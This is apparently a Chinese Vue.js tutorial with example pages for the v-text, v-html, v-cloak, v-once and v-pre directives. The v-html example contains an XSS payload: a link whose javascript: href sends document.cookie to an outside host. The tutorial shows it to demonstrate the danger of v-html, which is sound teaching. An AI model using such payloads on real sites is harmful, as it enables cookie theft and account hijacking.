1.v-text指令：
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-text指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'JOJO', str:'<h3>你好啊！</h3>' } }) </script> </html>
效果：
总结：
之前学过的指令：
v-bind：单向绑定解析表达式，可简写为:
v-model：双向数据绑定
v-for：遍历数组 / 对象 / 字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存存在）
v-else：条件渲染（动态控制节点是否存存在）
v-show：条件渲染 (动态控制节点是否展示)
v-text指令：
作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
2.v-html指令
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-html指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <div>Hello，{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'JOJO', str:'<h3>你好啊！</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>', } }) </script> </html>
效果：
总结：
v-html指令：
作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：
v-html会替换掉节点中所有的内容，{{xx}}则不会
v-html可以识别html结构
严重注意：v-html有安全性问题！！！
在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
3.v-cloak指令
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-cloak指令</title> <style> [v-cloak]{ display:none; } </style> </head> <body> <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="../js/vue.js"></script> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script> </html>
效果：
总结：
v-cloak指令（没有值）：
- 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
4.v-once指令
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-once指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2 v-once>n初始化的值是：{{n}}</h2> <h2>n现在的值是：{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
效果：
总结：
v-once指令：
- v-once所在节点在初次动态渲染后，就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
5.v-pre指令
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-pre指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
效果：
